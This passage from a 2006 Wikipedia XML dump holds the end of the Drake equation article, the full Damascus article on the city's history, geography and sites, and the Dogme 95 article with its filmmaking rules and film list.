:The value of ''L'' can be estimated from the lifetime of our current civilization from the advent of [[radio astronomy]] in [[1938]] (dated from [[Grote Reber]]'s parabolic dish [[radio telescope]]) to the current date. In 2005, this gives an ''L'' of 67 years.

:In an article in ''[[Scientific American]]'', [[Michael Shermer]] estimated ''L'' as 420 years, based on compiling the durations of sixty historical civilizations. Using twenty-eight civilizations more recent than the Roman Empire he calculates a figure of 304 years for &quot;modern&quot; civilizations. Note, however, that the fall of most of these civilizations did not destroy their technology, and they were succeeded by later civilizations which carried on those technologies, so Shermer's estimates should be regarded as pessimistic.

The equation based on current lower estimates, therefore, is thus:

:R* = 6/year, f&lt;sub&gt;p&lt;/sub&gt; = 0.5, n&lt;sub&gt;e&lt;/sub&gt; = 2, f&lt;sub&gt;l&lt;/sub&gt; = 0.33, f&lt;sub&gt;i&lt;/sub&gt; = 1&amp;times;10&lt;sup&gt;-7&lt;/sup&gt;, f&lt;sub&gt;c&lt;/sub&gt; = 0.01, and L = 420 years
:N = 6 &amp;times; 0.5 &amp;times; 2 &amp;times; 0.33 &amp;times; 1&amp;times;10&lt;sup&gt;-7&lt;/sup&gt; &amp;times; 0.01 &amp;times; 420 = 8.316&amp;times;10&lt;sup&gt;-7&lt;/sup&gt; = 0.0000008316

It is worth noting that the order of magnitude in the revised equation is determined primarily by the new estimate for f&lt;sub&gt;i&lt;/sub&gt;. Going back to the number estimated by Drake (1&amp;times;10&lt;sup&gt;-2&lt;/sup&gt;) the result also changes to 8.316&amp;times;10&lt;sup&gt;-2&lt;/sup&gt; or .08316

==See also==
*[[Astrosociobiology]]
*[[Fermi Paradox]]
*[[Fermi problem]]
*[[Kardashev scale]]
*[[Sentience Quotient]]
*[[SETI]]
*[[This Morn' Omina]] - Electro-industrial band which has released an album called ''The Drake Equation''
*[[Tub Ring]] - Chicago avant-garde punk band who released an album called &quot;[[Drake Equation (album)|Drake Equation]]&quot; and followed it up with &quot;[[Fermi Paradox (album)|Fermi Paradox]]&quot; and &quot;[[Zoo Hypothesis (album)|Zoo Hypothesis]]&quot;, completing a sort of alien trilogy of albums.

==External links==
* [http://wired.com/wired/archive/12.12/life.html The E.T. Equation, Recalculated] - [[Frank Drake]], [[December 2004]]
* http://www.skypub.com/news/special/9812seti_aliens.html
* [http://www.station1.net/DouglasJones/drake.htm Beyond the Drake Equation]
* [http://space.com/scienceastronomy/astronomy/jupiter_typical_020128.html January 2002 space.com article about estimated prevalence of extrasolar planets]
* [http://www.arxiv.org/abs/astro-ph/0205014 Preprint by Lineweaver and Davis estimating f&lt;sub&gt;l&lt;/sub&gt; as &amp;gt; 0.33]
* [http://www.washingtonpost.com/wp-dyn/articles/A45506-2002Jun13.html Discovery of first planetary system similar to the solar system][[29 January]] [[2006]] - page no longer available from this link
* [http://www.pbs.org/wgbh/nova/origins/drake.html Macromedia Flash page allowing the user to modify Drake's values] from [[PBS]] [[Nova (TV series)|Nova]]

==References==
* Charles H. Lineweaver and Tamara M. Davis, Does the Rapid Appearance of Life on Earth Suggest that Life is Common in the Universe?, arXiv:astro-ph/0205014 v1 [[2 May]] [[2002]]
* [[Michael Shermer]], Why ET Hasn't Called, ''Scientific American'', August 2002, page 21
* [[Gary Bates]], Alien Intrusion,Master books, [[2004]] ISBN:0-89051-435-6

[[Category:SETI]][[Category:Equations]]

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  <page>
    <title>Damascus</title>
    <id>8914</id>
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      <timestamp>2006-03-03T21:42:44Z</timestamp>
      <contributor>
        <ip>82.119.96.172</ip>
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      <text xml:space="preserve">:''This article is about Damascus, the capital of [[Syria]]. See [[Damascus (disambiguation)]] for alternate meanings.''
[[Image:Damascus by night.JPG|thumb|right|300px|Damascus by night, pictured from Jabal Qasioun; the green spots are [[minaret]]s]]

'''Damascus''' ([[Arabic language|Arabic]] officially  دمشق ''Dimashq'', colloquially ''ash-Sham'' الشام) is the [[capital]] and largest city of [[Syria]]. It is often referred to as &quot;the oldest continuously-inhabited city in the world&quot;.  Its current population is estimated at about 4.5 million.

==Name==
In [[Arabic language|Arabic]], the city is called دمشق الشام ''Dimashq ash-Sham''. Although this is often shortened  to ''Dimashq'' by many, the citizens of Damascus, and of Syria and some other Arab neighbors, colloquially call the city ''ash-Sham''.  ''Ash-Sham'' is derived from the Arabic root for [[North]], and Syria - particularly historical [[Greater Syria]] - is called ''bilad ash-sham'' in Arabic. The English name for Damascus is taken from the [[Greek language|Greek]] Δαμασκός, via [[Latin]]. This comes from the old [[Aramaic language|Aramaic]] name for the city — דרמשק ''Darmeśeq'', which means &quot;a well-watered place&quot;.  However, pre-Aramaic tablets unearthed at [[Ebla]] refer to a city to the south of Ebla named ''Damaski'' [http://www.damascus-online.com/damascus.htm].  It is possible that the name 'Damascus' pre-dates the Aramaic era of the city. Damascus is designated as having been part of the ancient [[province]] of [[Amurru]] in the [[Hyksos]] Kingdom, from 1720 to 1570 BC. (MacMillan, pp. 30-31).

==Geography==
[[Image:Damascus Khan asad Pacha.JPG|250px|thumb|left|Khan as'ad Pacha built in 1752]]
Damascus lies about 80 km inland from the [[Mediterranean Sea]], sheltered by the [[Anti-Lebanon]] Mountains. It lies on a plateau 680 meters above sea-level. Damascus is located at 33°30' North, 36°18' East (33.5, 36.3). [http://earth-info.nga.mil/gns/html/cntry_files.html]

The old city of Damascus, enclosed by the city walls, lies on the south bank of the river [[Barada]]. To the south-east, north and north-east it is surrounded by suburban areas whose history stretches back to the Middle Ages: [[Midan]] in the south-west, [[Sarouja]] and [[Imara]] in the north and north-west. These districts originally arose on roads leading out of the city, near the tombs of religious figures. In the nineteenth century outlying villages developed on the slopes of [[Jabal Qasioun]], overlooking the city, already the site of the [[Salihiyye]] district centred around the important shrine of Sheikh [[Ibn Arabi|Muhi al-Din ibn Arabi]]. These new districts were initially settled by Kurdish soldiery and Muslim refugees from the European regions of the Ottoman Empire which had fallen under Christian rule. Thus they were known as ''al-Akrad'' ''(the Kurds)'' and ''[[al-Muhajirin]]'' ''(the migrants)''. They lay two to three kilometres north of the old city.

From the late nineteenth century on, a modern administrative and commercial centre began to spring up to the west of the old city, around the Barada, centred on the area known as ''al-merjeh'' or ''the meadow''. ''Al-Merjeh'' soon became the name of what was initially the central square of modern Damascus, with the city hall on it. The courts of justice, post office and railway station stood on higher ground slightly to the south. A Europeanised residential quarter soon began to be built on the road leading between al-Merjeh and [[Salihiyye]]. The commercial and administrative centre of the new city gradually shifted northwards slightly towards this area.

In the twentieth century, newer suburbs developed north of the Barada, and to some extent to the south, invading the Ghouta oasis. From 1955 the new district of [[Yarmouk]] became a second home to thousands of Palestinian refugees. City planners preferred to preserve the Ghouta as far as possible, and in the later twentieth century some of the main areas of development were to the north, in the western Mezze district and most recently along the Barada valley in Dumar in the northwest and on the slopes of the mountains at Berze in the north-east. Poorer areas, often built without official approval, have mostly developed south of the main city.

Damascus is surrounded by an [[oasis]], the Ghouta (الغوطة ''{{unicode|al-ġūṭä}}''), watered by the Barada. The Fijeh spring, west along the Barada valley, provides the city with drinking water. The Ghouta oasis has been decreasing in size with the rapid expansion of housing and industry in the city. It has also become polluted due to the city's traffic, industry, and sewage.
[[Image:Satdamascus.jpg|thumb|right|280px|Satellite image of Damascus, with Umaween Square just above the centre. The Barada river can be seen entering the picture in the upper left corner, and the western half of the old city is in the centre of the right hand edge of the photograph. The modern district of Mezze extends north of the motorway on the centre of the left edge.]]

== History ==
===Ancient===
Excavations at Tell Ramad on the outskirts of the city have demonstrated that Damascus has been inhabited as early as 8000 to 10,000 BC.  It is due to this that Damascus is considered to be the oldest continually inhabited city in the world.  However, Damascus is not documented as an important city until the coming of the [[Aramaeans]], Semitic nomads who arrived from the [[Arabian peninsula]].  It is known that it was the Aramaeans who first established the water distribution system of Damascus by constructing canals and tunnels which maximized the efficiency of the Barada river.  The same network was later improved by the Romans and the Umayyads, and still forms the basis of the water system of the old part of Damascus today.  In 1100 BC, the city became the center of a powerful Aramaean state called [[Aram Damascus]].  The Kings of Aram Damascus were involved in many wars in the area against the [[Assyrian people|Assyrians]] and the [[Israelites]].  One of the Kings,  [[Ben-Hadad II]], fought [[Shalmaneser III]] at the [[Battle of Karkar]].  The ruins of the Aramean town most probably lie under the eastern part of the old walled city.  After [[Tiglath-Pileser III]] captured and destroyed the city in [[732 BC]], it lost its independence for hundreds of years, and it fell under the [[Babylonia and Assyria|Neo-Babylonian]] rule of Nebuchadnezzar starting in 572 BC.  The Babylonian rule of the city came to an end in 538 BC when the Persians under Cyrus captured the city and made it the capital of the Persian province of Syria.

===Greco-Roman===
Damascus first came under western control with the giant campaign of [[Alexander the Great]] that swept through the near east.  After the death of Alexander in 323 BC, Damascus became the site of a struggle between the [[Seleucid]] and [[Ptolemaic]] empires.  The control of the city  passed frequently from one empire to the other.  [[Seleucus Nicator]], one of Alexander's generals, had made [[Antioch]] the capital of his vast empire.  This led to the importance of Damascus declining as compared with the newly founded Seleucid cities such as [[Latakia]] in the north.  

In 64 BC, [[Pompey]] and the [[Ancient Rome|Romans]] annexed the western part of Syria.  They occupied Damascus and subsequently incorporated it into the league of ten cities known as the [[Decapolis]] because it was considered such an important center of Greco-Roman culture.  According to the [[New Testament]], [[Paul of Tarsus|St. Paul]] was on the road to Damascus when he received a vision, was struck blind and as a result converted to [[Christianity]]. In  the year [[37]] AD, [[Roman Emperor]] [[Caligula]] transferred Damascus into [[Nabataea]]n control by decree. The Nabataean king [[Aretas IV Philopatris]] ruled Damascus from his capital [[Petra]]. However, around the year [[106]], Nabataea was conquered by the Romans, and Damascus returned to Roman control.

Damascus became a metropolis by the beginning of the second century and in 222 it was upgraded to a ''colonia'' by the Emperor [[Septimius Severus]].  With the coming of the [[Pax Romana]], Damascus and the Roman province of Syria in general began to prosper.  Damascus's importance as a caravan city was evident with the trade routes from southern [[Arabian peninsula|Arabia]], [[Tadmor|Palmyra]], [[Petra]], and the silk routes from China all converging on it.  The city satisfied the Roman demands for eastern luxuries.

Little remains of the architecture of the Romans, but the town planning of the old city did have a lasting effect.  The Roman architects brought together the Greek and Aramaean foundations of the city and fused them into a new layout measuring approximately 1500 by 750 meters, surrounded by a city wall.  The city wall contained seven gates, but only the eastern gate (Bab Sharqi) remains from the Roman period.  Roman Damascus lies mostly at depths of up to five meters below the modern city.

===From the Muslim conquest to the Fatimids===
Damascus was conquered by the [[Caliph]] [[Umar ibn al-Khattab|Umar I]] in AD [[636]]. Immediately thereafter, the city's power and prestige reached its peak when it became the capital of the [[Umayyad Empire]], which extended from [[Spain]] to [[India]] from AD [[661]] to AD [[750]]. In AD [[744]], the last Umayyad caliph, [[Marwan II]], moved the capital to [[Harran]] in the [[al Jazira, Mesopotamia|Jazira]] (Hugh Kennedy, &quot;The Prophet and the Age of the Caliphates&quot;), and Damascus was never to regain the political prominence it had held in that period.

After the fall of the Umayyads and the establishment of the [[Abbasid]] caliphate in AD [[750]], Damascus was ruled from [[Baghdad]], although in AD [[858]] [[al-Mutawakkil]] briefly established his residence there with the intention of transferring his capital there from [[Samarra]]. However, he soon abandoned the idea. As the Abbasid caliphate declined, Damascus suffered from the prevailing instability, and came under the control of local dynasties. In [[875]] the ruler of Egypt, [[Ahmad ibn Tulun]], took the city, with Abbasid control being re-established only in [[905]]. In [[945]] the [[Hamdanids]] took Damascus, and not long after it passed into the hands of [[Muhammad bin Tughj]], founder of the [[Ikhshidid]] dynasty. In [[968]] and again in [[971]] the city was briefly captured by the [[Qaramita]].

===Fatimids, the Crusades and the Seljuks===
In [[970]] AD the [[Fatimid]] Caliphs in [[Cairo]] gained control of Damascus. This was to usher in a turbulent period in the city's history, as the Berber troops who formed the backbone of the Fatimid forces became deeply unpopular among its citizens. The presence in Syria of the Qaramita and occasionally of Turkish military bands added to the constant pressure from the [[Bedouin]]. For a brief period from [[978]], Damascus was self-governing, under the leadership of a certain [[Qassam]] and protected by a citizen militia. However, the Ghouta was ravaged by the Bedouin and after a Turkish-led campaign the city once again surrendered to Fatimid rule. From 1029 to 1041 the Turkish military leader [[Anushtakin]] was governor of Damascus under the Fatimid caliph [[al-Zahir]], and did much to restore the city's prosperity.

It appears that during this period the slow transformation of Damascus from a Graeco-Roman city layout - characterised by blocks of ''[[insulae]]'' — to a more familiar Islamic pattern took place: the grid of straight streets changed to a pattern of narrow streets, with most residents living inside ''harat'' closed off at night by heavy wooden gates to protect against criminals and the exactions of the soldiery.  

With the arrival of the [[Seljuk Turks]] in the late 11th century, Damascus again became the capital of independent states. It was ruled by a Seljuk dynasty from 1079 to 1104, and then by another Turkish dynasty - the [[Burid Dynasty|Burid Emirs]], who withstood a [[Siege of Damascus|siege of the city]] during the [[Second Crusade]] in [[1148]]. In 1154 Damascus was conquered from the Burids by the famous [[Zengid Dynasty|Zengid]] Atabeg [[Nur ad-Din]] of [[Aleppo]], the great foe of the [[Crusade]]rs. He made it his capital, and following his death, it was acquired by [[Saladin]], the ruler of Egypt, who also made it his capital. Saladin rebuilt the citadel, and it is reported that under his rule the suburbs were as extensive as the city itself. It is reported by [[Ibn Jubayr]] that during the time of Saladin, Damascus welcomed seekers of knowledge and industrious youth from around the world, who arrived for the sake of &quot;undistracted study and seclusion&quot; in Damascus' many colleges.

In the years following Saladin's death, there were frequent conflicts between different [[Ayyubid dynasty|Ayyubid sultans]] ruling in Damascus and Cairo.  [[Damascus steel]] gained a legendary reputation among the [[Crusade]]rs, and patterned steel is still &quot;damascened&quot;. The patterned Byzantine and Chinese silks available through Damascus, one of the Western termini of the [[Silk Road]], gave the English language ''damask''.
[[Image:Azem Palace.JPG|thumb|left|280px|Azem Palace]]

===Mamluk rule===
Ayyubid rule (and independence) came to an end with the Mongol invasion of Syria in [[1260]], and Damascus became a provincial capital of the [[Mamelukes|Mamluk Empire]], ruled from Egypt, following the Mongol withdrawal.

===Timurlank===
In [[1400]] by [[Timur|Timurlank]], the [[Mongol]] conqueror, besieged Damascus. The Mamluk sultahn dispatched a deputation from Cairo, including [[Ibn Khaldun]], who negotiated with him, but after their withdrawal he put the city to sack. The Umayyad Mosque was burnt and men and women taken into slavery. A huge number of the city's artisans were taken to Timur's capital at [[Samarkand]]. These were the luckier citizens: many were slaughtered and their heads piled up in a field outside the north-east corner of the walls, where a city square still bears the name ''burj al-ruus'', originally &quot;the tower of heads&quot;. 

Rebuilt, Damascus continued to serve as a Mamluk provincial capital until [[1516]]. 

===The Ottoman conquest===
In early [[1516]], the [[Ottoman Empire|Ottoman Turks]], wary of the danger of an alliance between the Mamluks and the Persian [[Safavids]], started a campaign of conquest against the Mamluk sultanate. On [[21 September]], the Mamluk governor of Damascus fled the city, and on [[2 October]] the [[khutba]] in the Umayyad mosque was pronounced in the name of [[Selim I]]. The day after, the victorious sultan entered the city, staying for three months. On [[15 December]], he left Damascus by Bab al-Jabiya, intent on the conquest of Egypt. Little appeared to have changed in the city: one army had simply replaced another. However, on his return in October 1517, the sultan ordered the construction of a mosque, [[taqiyya]] and mausoleum at the shrine of Shaikh [[Ibn Arabi|Muhi al-Din ibn Arabi]] in Salihiyya. This was to be the first of Damascus' great Ottoman monuments.

The Ottomans remained for the next 400 years, except for a brief occupation by [[Ibrahim Pasha]] of [[Egypt]] from [[1832]] to [[1840]]. Because of its importance as the point of departure for one of the two great [[Hajj]] caravans to [[Mecca]], Damascus was treated with more attention by the [[Porte]] than its size might have warranted — for most of this period, [[Aleppo]] was more populous and commercially more important. In 1560 the Taqiyya al-Sulaimaniyya, a mosque and [[caravanserai|khan]] for pilgrims on the road to Mecca, was completed to a design by the famous Ottoman architect [[Sinan]], and soon afterwards a [[madrasa]] was built adjoining it.

Perhaps the most notorious incident of these centuries was the massacre of Christians in [[1860]], when fighting between [[Druze]] and [[Maronites]] in [[Mount Lebanon]] spilled over into the city. Some thousands of Christians were killed, with many more being saved through the intervention of the Algerian exile [[Abd al-Qadir]] and his soldiers, who brought them to safety in Abd al-Qadir's residence and the citadel. The Christian quarter of the old city, including a number of churches, was burnt down. The Christian inhabitants of the notoriously poor and refractory Midan district outside the walls were, however, protected by their Muslim neighbours.

===Rise of Arab nationalism===
In the early years of the twentieth century, nationalist sentiment in Damascus, initially cultural in its interest, began to take a political colouring, largely in reaction to the [[turkicisation]] programme of the [[Committee of Union and Progress]] government established in Istanbul in [[1908]]. The hanging of a number of patriotic intellectuals by [[Jamal Pasha]], governor of Damascus, in Beirut and Damascus in [[1915]] and [[1916]] further stoked nationalist feeling, and in [[1918]], as the forces of the [[Arab Revolt]] and the [[British army]] approached, residents fired on the retreating Turkish troops.

===Modern===
[[Image:Damascus-sunset.jpg|thumb|right|300px|Damascus at sunset]]
On [[1 October]] [[1918]], Australian soldiers from the 10th [[Light Horse]] Regiment entered Damascus and accepted the surrender of the city from the Turkish appointed Governor Emir Said (installed as Governor the previous afternoon by the retreating Turkish Commander). A military government under [[Shukri Pasha]] was named. Other British forces including [[T.E Lawrence]] followed later that day, and [[Faisal I of Iraq|Faisal ibn Abd Allah]] was proclaimed king of Syria. Political tension rose in November 1917, when the new [[Bolshevik]] government in [[Russia]] revealed the [[Sykes-Picot Agreement]] whereby Britain and France had arranged to partition the Arab east between them. A new Franco-British proclamation on 17 November promised the &quot;complete and definitive freeing of the peoples so long oppressed by the Turks.&quot; The [[Syrian Congress]] in March adopted a democratic constitution. However, the [[Versailles Conference]] had granted [[France]] a [[League of Nations mandate|mandate]] over Syria, and in 1920 a French army crossed the Anti-Lebanon Mountains, defeated a small Syrian defensive expedition at the [[Battle of Maysalun]] and entered Damascus. The French made Damascus capital of their [[League of Nations]] Mandate of Syria. 

When in [[1925]] the [[Druze]] revolt in the [[Hauran]] spread to Damascus, the French repressed it brutally, bombing and shelling the city. The area of the old city between Souq al-Hamidiyya and Souq Midhat Pasha was burned to the ground, with many deaths, and has since then been known as ''al-Hariqa'' (&quot;the fire&quot;). The old city was surrounded with barbed wire to prevent rebels infiltrating from the Ghouta, and a new road was built outside the northern ramparts to facilitate the movement of armoured cars. 

In 1945 the French once more bombed Damascus, but on this occasion British forces intervened and the French agreed to withdraw, thus leading to the full independence of Syria in [[1946]]. Damascus remained the capital.

== Historical sites ==
[[Image:Damascus-Ananias chapel.jpg|thumb|250px|left|Ananias Chapel]]
Damascus has a wealth of historical sites dating back to many different periods of the city's history.  Since the city has been built up with every passing occupation, it has become almost impossible to excavate all the ruins of Damascus that lie up to 8 feet below the modern level. The Citadel of Damascus is located in the northwest corner of the Old City. The ''street called straight'' (referred to in the conversion of [[Paul of Tarsus|St. Paul]] in [[Acts of the Apostles|Acts]] 9:11), also known as the ''Via Recta'', was one of the main streets of Roman Damascus, and extended for over 1500 meters.  Today, it consists of the street of Bab Sharqi and the Souk Medhat Pasha, a covered market. The Bab Sharqi street is filled with small shops and leads to the old Christian quarter of Bab Touma (St. Thomas's Gate).  Souq Medhat Pasha is also a main market in Damascus and was named after Medhat Pasha, the Ottoman governor of Damascus who renovated the Souq. At the end of the Bab Sharqi street, one reaches the House of [[Ananias]], an underground chapel that was the cellar of Ananias's house. 
[[Image:Umayyad Mosque-Minaret of the Bride.jpg|thumb|250px|right|The Minaret of the Brideg, Omayyad Mosque in old Damascus]]
The [[Umayyad Mosque]], also known as the Grand Mosque of Damascus, is one of the largest mosques in the world, and one of the oldest sites of continuous prayer since the rise of Islam. A shrine in the mosque is said to contain the head of [[John the Baptist]].

===The walls and gates of Damascus===
The old city of Damascus is surrounded by ramparts on the northern and eastern sides and part of the southern side. There are 7 extant city gates, the oldest of which dates back to the Roman period. These are, clockwise from the north of the citadel: 
*Bab al-Faraj (&quot;the gate of deliverance&quot;), 
*Bab al-Faradis (&quot;the gate of the orchards&quot;) and 
*Bab al-Salam (&quot;the gate of peace&quot;), all on the north boundary of the old city
*Bab Touma (the &quot;Touma&quot; or &quot;Thomas gate&quot;) in the north-east corner, leading into the Christian quarter of the same name, 
*Bab Sharqi (&quot;eastern gate&quot;) in the east wall, the only one to retain its Roman plan
*Bab Kisan in the south-east, from which tradition holds that Saint Paul made his escape from Damascus, lowered from the ramparts in a basket; this gate is now closed and a chapel marking the event has been built into the structure,
*al-Bab al-Saghir (the small gate) in the south.

In addition, the names of the two former gates in the east, Bab al-Jabiya at the entrance to Souq Midhat Pasha and Bab al-Barid near the entrance to Souq al-Hamidiyya, are still recalled by Damascenes, the former being used commonly to refer to the area at the entrance to the souq. Two other areas outside the walled city also bear the name &quot;gate&quot;: Bab Mousalla and Bab Sreija , both to the south-west of the walled city.

==Born in Damascus==
*[[Nicolaus of Damascus]] (historian and philosopher)
*[[John of Damascus]] (saint)
*[[Ananias]] (disciple)
*[[Sophronius]] ([[Patriarch of Jerusalem]])
*[[Damascius]] (Byzantine philosopher)
*[[Yasser Seirawan]] (chess player)
*[[Ahmed Kuftaro]] (former grand [[mufti]] of Syria)
*[[Ikram Antaki]] (Mexican writer)
*[[Ghada al-Samman]] (novelist)
*[[Nizar Qabbani|Nizar al-Qabbani]] (poet)
*[[Yousef Abdelke]] (painter)
*[[Michel Aflaq]] (political thinker and co-founder of the [[Ba'th Party]])
*[[Salah al-Din al-Bitar]] (political thinker and co-founder of the [[Ba'th Party]])
*[[Constantin Zureiq]] (academic and Arab nationalist intellectual)

== See also ==
{{commonscat|Damascus}}
*[[History of Syria]]
*[[Rulers of Damascus]]

== External links ==
*[http://www.damascus-online.com/ Damascus online]
*[http://www.ancientroute.com/cities/Damascus.htm Ancient Route history of Damascus]
*[http://www.syriantours.net/Maps/Cities/damascus_big.jpg Map of Downtown Damascus]
*[http://www.souria.com/ep/index.asp Interactive Map of Damascus]
*[http://saroujah.blogspot.com Syria News Wire: daily tales from the streets of Damascus]
*[http://www.oldamascus.com/ Oldamascus.com], a web site devoted to the city
*[http://www.zeledi.com/public/Photography/SyriaWinter03/Damascus/ A collection of pictures] made in 2003 about Damascus.
*[http://www.zeledi.com/gallery/thumbnails.php?album=27 A gallery about a 2005 trip] in Damascus.
*[http://www.saudiaramcoworld.com/issue/198202/restoration.of.damascus.htm An article] about a large scale restoration project
*[http://ancientneareast.tripod.com/Ramad.html Tell Ramad]
*[http://www.hernan.ameijeiras.com/damas-damasco.html Images from Damascus]
*[http://www.awm.gov.au/units/unit_10555.asp Australian War Memorial]
*[http://www.geocities.com/CapitolHill/Senate/3541/diana_bell.html The Ride to Damascus]
*[http://www.lancers.org.au/site/Damascus.asp Map showing routes of advance on Damascus 1918]

==Further References==

* Yohanan Aharoni &amp; Michael Avi-Yonah, &quot;The MacMillan Bible Atlas&quot;, Revised Edition, (1968 &amp; 1977 by Carta Ltd.).

[[Category:Damascus|*]]
[[Category:Capitals in Asia]]
[[Category:Cities in Syria]]
[[Category:History of Syria]]
[[Category:World Heritage Sites in Syria]][[Category:Aramaeans]]

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[[zh:大馬士革]]</text>
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      <text xml:space="preserve">'''Dogme 95''' (in English: '''Dogma 95''') is an avant-garde filmmaking movement started in 1995 by the Danish directors [[Lars von Trier]], [[Thomas Vinterberg]], [[Kristian Levring]], and [[Søren Kragh-Jacobsen]].  This movement is sometimes known as the '''Dogme 95 collective''' or the '''Dogme brethren'''.  

The Dogme movement was announced on March the 22nd 1995 at the Le cinéma vers son deuxième siècle conference in Paris, where the cinema world’s elite gathered to celebrate the first century of motion pictures and contemplate the uncertain future of commercial cinema. Lars von Trier was called upon to speak about the future of film but instead showered a bemused audience with red pamphlets announcing the Dogme 95 movement. In 1995 cinema was at an uncertain point in its history because it was (and still is) threatened by the impending age of digital film technology. Digital technology means that the cost of film production, exhibition and distribution is reduced, and production processes and distribution systems speeded up. This, in turn, means that non-Hollywood filmmakers can potentially compete with Hollywood in terms of making films and getting them to their audiences. In this industrial climate, then, Dogme hailed itself as 'a rescue action!'  

The goal of the Dogme collective is to purify filmmaking by refusing expensive and spectacular special effects, postproduction modifications and other gimmicks.  The emphasis on purity forces the filmmakers to focus on the actual story and on the actors' performances. the audience may also be more engaged as they do not have overproduction to alienate them from the narrative, themes and mood. To this end, Lars von Trier and Thomas Vinterberg produced ten rules that any Dogme film must conform to. These rules, referred to as the '''Vow of Chastity''', are as follows:

# Filming must be done on location. [[Prop]]s and sets must not be brought in (if a particular prop is necessary for the story, a location must be chosen where this prop is to be found).
# The sound must never be produced apart from the images or vice versa. (Music must not be used unless it occurs where the scene is being filmed).
# The camera must be hand-held. Any movement or immobility attainable in the hand is permitted. (The film must not take place where the camera is standing; filming must take place where the action takes place.)
# The film must be in colour. Special lighting is not acceptable. (If there is too little light for exposure the scene must be cut or a single lamp be attached to the camera).
# Optical work and filters are forbidden.
# The film must not contain superficial action. (Murders, weapons, etc. must not occur.)
# Temporal and geographical alienation are forbidden. (That is to say that the film takes place here and now.)
# Genre movies are not acceptable.
# The final picture must be transferred to the Academy [[35mm film]], with an [[aspect ratio (image)|aspect ratio]] of 4:3, that is, not  [[widescreen]]. (Originally, the requirement was that the film had to be ''filmed'' on Academy 35mm film, but the rule was relaxed to allow low-budget productions.)
# The [[Film director|director]] must not be credited.

This style of filmmaking is often utilized by film makers without a real budget of any kind.  Critics often claim that this style is simply a facade to cover up bad film making or direction.  If the film goes well the filmmaker(s) can claim they created a masterpiece.  If it goes terribly (most often) they can simply blame the failure on the restrictions mentioned above.  Moreover, many in the film industry feel that if you cannot finance a film properly, it is questionable if you should be doing the film at all.

These rules have been both circumvented and broken, from the first dogme film,. For instance, in ''[[Idioterne|The Idiots]]'', a musician provided background music off-camera, and Thomas Vinterberg &quot;confessed&quot; to having covered a window during the shooting of one scene in ''[[The Celebration]]'' (''Festen''), which is both bringing a prop onto the set and using special lighting. As mentioned on the Dogme 95 website, it's up to the director of the movie to interpret the rules.

In certain cases, the titles of Dogme films are superfluous, since they are also referred to by numbers. The spirit of the Dogme technique influenced Lars von Trier's film ''[[Breaking the Waves]]'', although it is not a Dogme film. The first of the Dogme films was Vinterberg's 1998 film ''Festen'', which is also known as ''Dogme #1''.  ''Festen'' was highly acclaimed by many critics, and won the Jury Prize at the [[Cannes Film Festival]] that year.  Von Trier's only Dogme film, ''[[Idioterne]]'' (''The Idiots'', or ''Dogme #2''), was less successful.  Since those two original films were released, other directors have participated in the creation of Dogme films. For example, the [[United States|American]] director [[Harmony Korine]] created the movie ''Julien Donkey-Boy'' which is also known as ''Dogme #6''.

For more information, see [http://www.dogme95.dk www.dogme95.dk].

A related [[United Kingdom|British]] literary movement, called the [[New Puritans]], espouses similar values for the writing of fiction. A totally unrelated group calling themselves 'Dogme ELT' attempted to link the Vows of Chastity idea to English language teaching, but later admitted that they had not meant their 'Vows' to be taken literally.

==List of Dogma films==
# [[The Celebration]] (Original title &quot;Festen&quot;, Denmark, 1998) [http://us.imdb.com/title/tt0154420/ (IMDb entry)]
# [[The Idiots]] (Original title &quot;Idioterne&quot;, Denmark, 1998) [http://us.imdb.com/title/tt0154421/ (IMDb entry)]
# [[Mifunes Sidste Sang]] (int. [[Mifune's Last Song]]) (Denmark, 1999) [http://www.imdb.com/title/tt0164756/ (IMDb entry)]
# [[The King is Alive]] (Denmark, 2000) [http://www.imdb.com/title/tt0208911/ (IMDb entry)]
# [[Lovers (Movie)|Lovers]] (France, 1999) [http://www.imdb.com/title/tt0178721/ (IMDb entry)]
# [[Julien Donkey-Boy]] (USA, 1999) [http://www.imdb.com/title/tt0192194/ (IMDb entry)]
# [[Interview (movie)|Interview]] (South Korea, 2000) [http://www.imdb.com/title/tt0253146/ (IMDb entry)]
# [[Fuckland]] (Argentina, 2000) [http://www.imdb.com/title/tt0270957/ (IMDb entry)]
# [[Babylon (movie)|Babylon]] (Sweden, 2001) [http://www.imdb.com/title/tt0280610/ (IMDb entry)]
# [[Chetzemoka's Curse]] (USA, 2001) [http://www.imdb.com/title/tt0276855/ (IMDb entry)]
# [[Diapason (movie)|Diapason]] (Italy, 2001) [http://www.imdb.com/title/tt0274460/ (IMDb entry)]
# [[Italiensk For Begyndere]] (Denmark, 2000) [http://www.imdb.com/title/tt0243862/ (IMDb entry)]
# [[Amerikana]] (USA, 2001) [http://www.imdb.com/title/tt0276773/ (IMDb entry)]
# [[Joy Ride (Swiss film)|Joy Ride]] (Switzerland, 2001) [http://www.imdb.com/title/tt0275812/ (IMDb entry)]
# [[Camera (movie)]] (USA, 2000) [http://www.imdb.com/title/tt0278380/ (IMDb entry)]
# [[Bad Actors]] (USA, 2000) [http://www.imdb.com/title/tt0276794/ (IMDb entry)]
# [[Reunion (movie)]] (USA, 2001) [http://www.imdb.com/title/tt0220005/ (IMDb entry)]
# [[Et Rigtigt Menneske]] (Denmark, 2001) [http://www.imdb.com/title/tt0273326/ (IMDb entry)]
# [[Når Nettene Blir Lange]] (Norway, 2000) [http://www.imdb.com/title/tt0268509/ (IMDb entry)]
# [[Strass]] (Belgium, 2001) [http://www.imdb.com/title/tt0298169/ (IMDb entry)]
# [[En Kærlighedshistorie]] (Denmark, 2001) [http://www.imdb.com/title/tt0285280/ (IMDb entry)]
# [[Era Outra Vez]] (Spain, 2000) [http://www.imdb.com/title/tt0222515/ (IMDb entry)]
# [[Resin (movie)]] (USA, 2001) [http://www.imdb.com/title/tt0304628/ (IMDb entry)]
# [[Security, Colorado]] (USA, 2001) [http://www.imdb.com/title/tt0392759/ (IMDb entry)]
# [[Converging With Angels]] (USA, 2002) [http://www.imdb.com/title/tt0294475/ (IMDb entry)]
# [[The Sparkle Room]] (USA, 2001) [http://www.imdb.com/title/tt0423240/ (IMDb entry)]
# [[Come Now]] (USA)
# [[Elsker Dig For Evigt]] (Denmark, 2002) [http://www.imdb.com/title/tt0315543/ (IMDb entry)]
# [[The Bread Basket]] (USA, 2002) [http://www.imdb.com/title/tt0326523/ (IMDb entry)]
# [[Dias De Boda]] (Spain, 2002) [http://www.imdb.com/title/tt0311049/ (IMDb entry)]
# [[El Desenlace]] (Spain, 2004) [http://www.imdb.com/title/tt0422085/ (IMDb entry)]
